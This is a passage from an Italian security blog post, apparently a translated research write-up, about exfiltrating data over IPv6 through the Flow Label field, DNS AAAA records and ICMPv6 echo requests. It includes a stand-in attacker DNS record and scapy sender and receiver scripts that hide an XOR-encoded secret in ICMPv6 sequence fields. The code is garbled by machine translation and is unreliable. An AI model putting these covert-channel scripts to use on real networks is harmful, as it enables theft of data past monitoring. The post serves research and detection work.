• Home
  • Chi siamo
  • Il nostro sito web
Future Time Security blog
Menu
  • Home
  • Chi siamo
  • Il nostro sito web
Home  /  Sicurezza  /  Esfiltrazione di dati tramite IPv6

Esfiltrazione di dati tramite IPv6

Testare le capacità di IPv6 e come il malware potrebbe trarne vantaggio.

All’interno del team Aposemat, hanno lavorato per testare le funzionalità di IPv6 e come il malware potrebbe trarne vantaggio. Uno degli argomenti affrontati è stato l’esfiltrazione di dati tramite il protocollo IPv6. In questo post, viene condiviso il loro studio su questo argomento.

Cos’è l’esfiltrazione?

L’esfiltrazione è l’esportazione non autorizzata di dati sensibili fuori dalla rete connettendosi a una destinazione esterna e / o utilizzando canali nascosti. Questi ultimi vengono comunemente usati per esfiltrare le informazioni, spesso non vengono rilevati e utilizzati per evitare qualsiasi misura in atto per bloccare la migrazione dei dati. Sono stati condotti numerosi studi su questo argomento e ancora oggi il furto di dati prodotto da violazioni pone l’esfiltrazione al centro dell’attenzione.

Per esfiltrare i dati, vengono comunemente usati i livelli di rete e di trasporto (mostrati nella Figura 1) così come quelli di basso livello che richiederebbero un’ispezione approfondita dei pacchetti per trovare eventi o identificare che l’esfiltrazione sta avvenendo. Forniscono anche campi e porzioni di dati nelle intestazioni dei pacchetti che non sono comunemente usati o azzerati. Queste sezioni possono essere utilizzate per memorizzare porzioni di dati e potrebbero passare inosservate analizzando le acquisizioni dei pacchetti.

Figura 1. Modello OSI e descrizione dei suoi livelli. I livelli 3 e 4 sono evidenziati rispettivamente in arancione chiaro e giallo. (Fonte: Wikipedia)

Strumenti del mestiere

Esistono diversi strumenti per eseguire l’esfiltrazione tramite stack di rete IPv6. Descriveremo IPv6teal e IPv6DNSExfil e come questi strumenti vengono utilizzati per esfiltrare i dati tramite IPv6.

IPv6teal

Il primo è IPv6teal e consiste in uno script destinatario e mittente (exfiltrate). Questo strumento fa uso del campo Etichetta flusso che viene utilizzato per etichettare sequenze di pacchetti e ha una dimensione fissa di 20 bit (dettagliata nella Figura 2). Utilizza questo campo specifico perché potrebbe essere variabile e contiene bit personalizzati senza impatto sul pacchetto che raggiunge la sua destinazione. Questo dettaglio è un buon candidato per l’archiviazione di dati che potrebbero raggiungere un endpoint in modo sicuro mentre sono nascosti nel traffico normale.

Figura 2. Struttura dell’intestazione del pacchetto IPv6 con il campo Etichetta flusso (contrassegnato in rosso). (Fonte: Wikipedia )

Per poter inserire più dati in meno pacchetti, l’autore ha deciso di utilizzare la compressione GZIP per ottenere questo risultato. Nei nostri test, ci sono voluti circa due secondi e 15 pacchetti per inviare un file di testo normale contenente la stringa THISISASECRET su Internet. L’informazione viene trasmessa con un valore magico che segna l’inizio e la fine del flusso di dati. Questi valori magici aggiungono anche ulteriori informazioni sui dati trasmessi.

Il flusso di pacchetti per il nostro test finisce per essere costruito in questo modo:

I pacchetti sono costruiti su due livelli superiori: il livello IPv6 e un livello “Raw”, che sono solo i dati aggiunti all’ultimo livello. Lo strato grezzo contiene i valori magici, discussi in precedenza, e dice al ricevitore quando inizia una trasmissione, quanti bit verranno trasmessi e quanti pacchetti verranno trasmessi, senza contare il pacchetto che termina la trasmissione.

Un’altra tecnica di esfiltrazione, a un livello superiore del modello OSI, viene eseguita tramite record DNS AAAA. I record AAAA sono stati progettati per essere utilizzati con indirizzi IPv6. Quando un client richiede l’indirizzo IPv6 di un dominio, utilizzerà questo record per ottenerlo da un server DNS. Sebbene per questo scopo fossero comunemente usati i record TXT in quanto possono contenere dati leggibili dall’uomo, oltre che leggibili dalla macchina, le query ai record TXT sono meno comuni e potrebbero essere catturate rapidamente durante uno studio del flusso di rete.

IPv6DNSExfil

Strumenti come IPv6DNSExfil fanno uso di questa tecnica per memorizzare un secret, in un formato di indirizzo pseudo-IPv6, per un breve periodo di tempo su record AAAA. Si farà uso dello strumento nsupdate per creare in modo dinamico suddetti record AAAA e spingere in tal modo le informazioni a un server DNS attraverso l’upstream exfiltrating. Un record creato in questo modo, utilizzando lo stesso segreto che abbiamo utilizzato in precedenza, sarà simile a questo:

a.evilexample.com. 10 AAAA 2000: 5448 : 4953 : 4953 : 4153 : 4543 : 5245 : 54 00

THISISASECRET

Record DNS

TTL

Tipo di registrazione

Dati

Una volta che il record è stato impostato, i criminali possono utilizzare questi dati a loro piacimento, usandoli come C&C ( come suggerito dall’autore ) o semplicemente per trasferire le informazioni da un endpoint a un altro con query DNS a quel server specifico.

Metodi di esfiltrazione personalizzati

Librerie come scapy, per Python, rendono più facile per gli sviluppatori interagire con le astrazioni di rete a un livello superiore. Ad esempio, con solo due righe di codice siamo in grado di inviare un pacchetto predisposto a un endpoint IPv6:

% sudo python3

Python 3.5 . 2 (di default, Lug 10 2019 , 11 : 58 : 48 )

[GCC 5.4 . 0 20160609 ] su linux

Digitare “help” , “copyright” , “credits” o “license” per ulteriori informazioni .

>>> da scapy.all importa IPv6, Raw, invia

>>> invia (IPv6 (dst = “XXXX: XXX: X: 1662: 7a8a: 20ff: fe43: 93d4″”test” ))

.

Inviato 1 pacchetto.

E sniffando sull’altro endpoint possiamo vedere il pacchetto raggiungere la sua destinazione dove abbiamo incluso la stringa “test”:

# tcpdump -s0 -l -X -i eth0 ‘ip6 e non icmp6’

tcpdump: output dettagliato soppresso, utilizzare -v o -vv per l’ascolto della decodifica completa del protocollo su eth0, tipo di collegamento EN10MB (Ethernet), dimensione di cattura 262144 byte 23 : 47: 15.996483 IP6 XXXX: XXX: X: 1663 :: 1ce> XXXX: XXX: X: 1662: 7a8a: 20ff: fe43: 93d4: nessuna intestazione successiva

0x0000: 6000 0000 0004 3b3e XXXX XXXX XXXX 1663 `…. .;> ……. c

0x0010: 0000 0000 0000 01ce XXXX XXXX XXXX 1662 …………… b

0x0020: 7a8a 20ff fe43 93d4 7465 7374 0000 z … .C .. test ..

Utilizzando questo stesso approccio possiamo iniziare a generare traffico in modo dinamico utilizzando scapy invece di inviare semplicemente pacchetti senza uno strato di trasporto superiore. Un caso potrebbe essere l’utilizzo del protocollo ICMPv6 , che è una versione migliorata del suo parente IPv4. Un metodo di esfiltrazione “classico” che utilizza questo protocollo consiste nell’utilizzare i messaggi di eco e risposta (comunemente usati dallo strumento di rete ping6 ) per inviare dati all’esterno della rete senza stabilire una connessione come TCP. In questo modo possiamo inviare blocchi specifici di dati su IPv6 tramite richieste di eco ICMPv6 a un host remoto che annusa la rete. Dai un’occhiata a questo codice, ad esempio:

da scapy.all importazione IPv6, ICMPv6EchoRequest, invio

import sys

secret = “THISISASECRET” # nascosto informazioni memorizzate nel pacchetto finale = sys . argv [ 1 ] # addr dove stiamo inviando i dati

# preso da un pacchetto ping6 casuale

# 0x0030: 1e38 2c5f 0000 0000 4434 0100 0000 0000 .8, _…. D4 ……

# 0x0040: 1011 1213 1415 1617 1819 1a1b 1c1d 1e1f …… ……….

# 0x0050: 2021 2223 2425 2627 2829 2a2b 2c2d 2e2f.! “# $% & ‘() * +, -. /

# 0x0060: 3031 3233 3435 3637 01234567

data = ” \ x1e \ x38 \ x2c \ x5f \ x00 \ x00 \ x00 \ x00 \ x44 \ x34 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 ” \ ” \ x10 \ x11 \ x12 \ x13 \ x14 \ x15 \ x16 \ x17 \ x18 \ x19 \ x1a \ x1b \ x1c \ x1d \ x1e \ x1f ” \ ” \ x20 \ x21 \ x22 \ x23 \ x24 \ x25 \ x26 \ x27 \ x28 \ x29 \ x2a \ x2b \ x2c \ x2d \ x2e \ x2f ” \ ” \ x30 \ x31 \ x32 \ x33 \ x34 \ x35 \ x36 \ x37 “

def sendpkt (d):

if len (d) == 2 : seq = ( ord (d [ 0 ]) << 8 ) + ord (d [ 1 ]) else : seq = ord (d) send (IPv6 (dst = endpoint) / ICMPv6EchoRequest ( id = 0x1337 , seq = seq, data = data))

# crittografa i dati con la chiave 0x17

xor = lambda x: ” . join ([ chr ( ord (c) ^ 0x17 ) for c in x])

i = 0

per b in intervallo ( 0 , len (segreto), 2 ): sendpkt (xor (secret [b: b + 2 ]))

Questo script utilizzerà la stringa segreta che abbiamo inviato in precedenza, la crittograferà utilizzando la crittografia XOR e invierà ogni due byte di quella stringa crittografata segreta tramite una richiesta echo ICMPv6 con un ID specifico. Questi due byte sono nascosti nel campo sequenza, che è un breve campo intero, e possono essere decrittati a destinazione da un ricevitore. Inoltre, stiamo impostando il pacchetto con un ID specifico (in questo caso 0x1337 ) perché vogliamo riconoscere facilmente il pacchetto come uno dei nostri nel flusso del traffico di rete. Quindi, mandiamo un secret!

% sudo python3 ipv6_icmp6_exfil.py XXXX: XXX: X: 1663 :: 1ce

.

Inviato 1 pacchetto.

.

Inviato 1 pacchetto.

.

Inviato 1 pacchetto.

.

Inviato 1 pacchetto.

.

Inviato 1 pacchetto.

.

Inviato 1 pacchetto.

.

Inviato 1 pacchetto.

Dall’altro lato della linea, ci sarà un ricevitore. Il ricevitore controllerà l’ID della richiesta di eco ICMPv6 e, se corrisponde, decodificherà i dati inviati tramite il campo della sequenza. Il codice ha questo aspetto:

da scapy.all import sniff, IPv6, ICMPv6EchoRequest

import sys xor = lambda x: chr (x ^ 0x17 )

def pkt (p):

if ‘ICMPv6EchoRequest’ in p e p [ ‘ICMPv6EchoRequest’ ] . id == 0x1337 :

s = p [ “ICMPv6EchoRequest” ] . seq

print (xor ((s & 0xff00 ) >> 8 ) + xor (s & 0xff ), end = ” ) sys . stdout . flush () sniff ( filter = “ip6 e icmp6”, prn = pkt)

Dopo averlo eseguito, lo script analizzerà in particolare la rete per i pacchetti IPv6 e ICMPv6. Questo sniffing di rete è alimentato dai filtri tcpdump che elaboreranno i pacchetti che potrebbero essere di nostro interesse. Una volta che il pacchetto è stato catturato, viene elaborato dalla funzione pkt () che controllerà l’ID ICMPv6 e se corrisponde all’ID che stiamo cercando decritterà le informazioni e le stamperà sullo schermo:

% sudo python3 ipv6_icmp6_recv.py

THISISASECRET

Il processo può essere spiegato in modo più semplice tramite il grafico di flusso successivo:

Figura 3. I pacchetti con dati crittografati nel campo sequenza vengono ricevuti e decrittografati.

Il proof-of-concept qui evidenziato ha impiegato lo stesso tempo, ad esempio, di IPv6teal con 2 secondi per trasmettere la stringa segreta e imita il (quasi) normale ICMPv6 prodotto da ping6. Abbiamo eseguito un test con 1 kilobyte di dati da trasmettere utilizzando questa tecnica su Internet e ci sono voluti 8 minuti e 42 secondi per completare l’attività.

In sintesi

IPv6 sta crescendo in popolarità così come la necessità di più spazio di indirizzamento. Tuttavia, la percentuale di adozione di IPv6 in tutto il mondo è inferiore al 35%, principalmente perché richiede ancora un grande sforzo e investimenti da parte di aziende e organizzazioni. Ciò significa che gli strumenti e le tecniche dimostrati in questo articolo richiederanno tempo per essere pienamente adottati o utilizzati, lasciando spazio per sviluppare ulteriormente ulteriori idee e metodologie.

Condividi su
Condividi su Facebook
Condividi su Twitter
 Articolo precedente Altre 21 app pericolose trovate su Google Play
Articolo successivo   Garantire il futuro dei dispositivi connessi

Articoli Simili

  • True CDR: la prossima generazione di strumenti per la prevenzione dei malware

    Dicembre 30, 2020
  • Tecnologia Odix

    Dicembre 28, 2020
  • Le estensioni di terze parti per Facebook, Instagram e altri hanno infettato milioni di profili

    Dicembre 23, 2020

Lascia un commento Annulla risposta

Cerca

Social Media

  • Connect on LinkedIn

Articoli Recenti

  • True CDR: la prossima generazione di strumenti per la prevenzione dei malware Dicembre 30, 2020
  • Tecnologia Odix Dicembre 28, 2020
  • Le estensioni di terze parti per Facebook, Instagram e altri hanno infettato milioni di profili Dicembre 23, 2020
  • Il tuo software sandbox è stato violato? Dicembre 22, 2020

Commenti recenti

  • Avast: fake Malwarebytes utilizzato per distribuire CoinMiner - LineaEDP su Falsi file di installazione di Malwarebytes che distribuiscono coinminer
  • Avast: fake Malwarebytes utilizzato per distribuire CoinMiner su Falsi file di installazione di Malwarebytes che distribuiscono coinminer
  • Scoperte su Google Play Store 47 app malevole scaricate 15 milioni di volte – Secondamano l'originale su Avast scopre 47 app malevole su Google Play Store, scaricate 15 milioni di volte
  • Lara su Quando l’amore diventa un incubo: le truffe su siti di dating online
  • Cyber warfare: tecniche, obiettivi e strategie dietro gli attacchi “state-sponsored” | Agenda Digitale su BackSwap l’innovativo Trojan bancario che introduce nuove tecniche per svuotare i conti delle vittime

Archivi

Categorie

  • Comunicazioni
  • Malware
  • Senza categoria
  • Sicurezza
  • Sicurezza Informatica
  • Suggerimenti tecnici
  • True CDR: la prossima generazione di strumenti per la prevenzione dei malware

  • Tecnologia Odix

  • Le estensioni di terze parti per Facebook, Instagram e altri hanno infettato milioni di profili

  • Il tuo software sandbox è stato violato?

  • Riprendere la propria privacy da Instagram

© 2001 - 2020 - Tutti i diritti riservati. I marchi usati nel sito sono registrati da Future Time S.r.l. Tutti gli altri nomi e marchi sono registrati dalle rispettive aziende. Future Time S.r.l. © 2001-2020. P.IVA 06677001007
Questo sito usa i cookie, anche di terze parti, per offrirti una navigazione in linea con le tue preferenze. Per maggiori informazioni puoi accedere alla nostra cookie policy, dove potrai negare il consenso ai cookie, seguendo l'apposito link. Se continui la navigazione sul sito acconsenti all'uso dei cookie.
Ok, accetto Cookie policy
Privacy & Cookies Policy

Privacy Overview

This website uses cookies to improve your experience while you navigate through the website. Out of these, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may affect your browsing experience.
Necessario
Sempre attivato

Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.

Non necessario

Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website.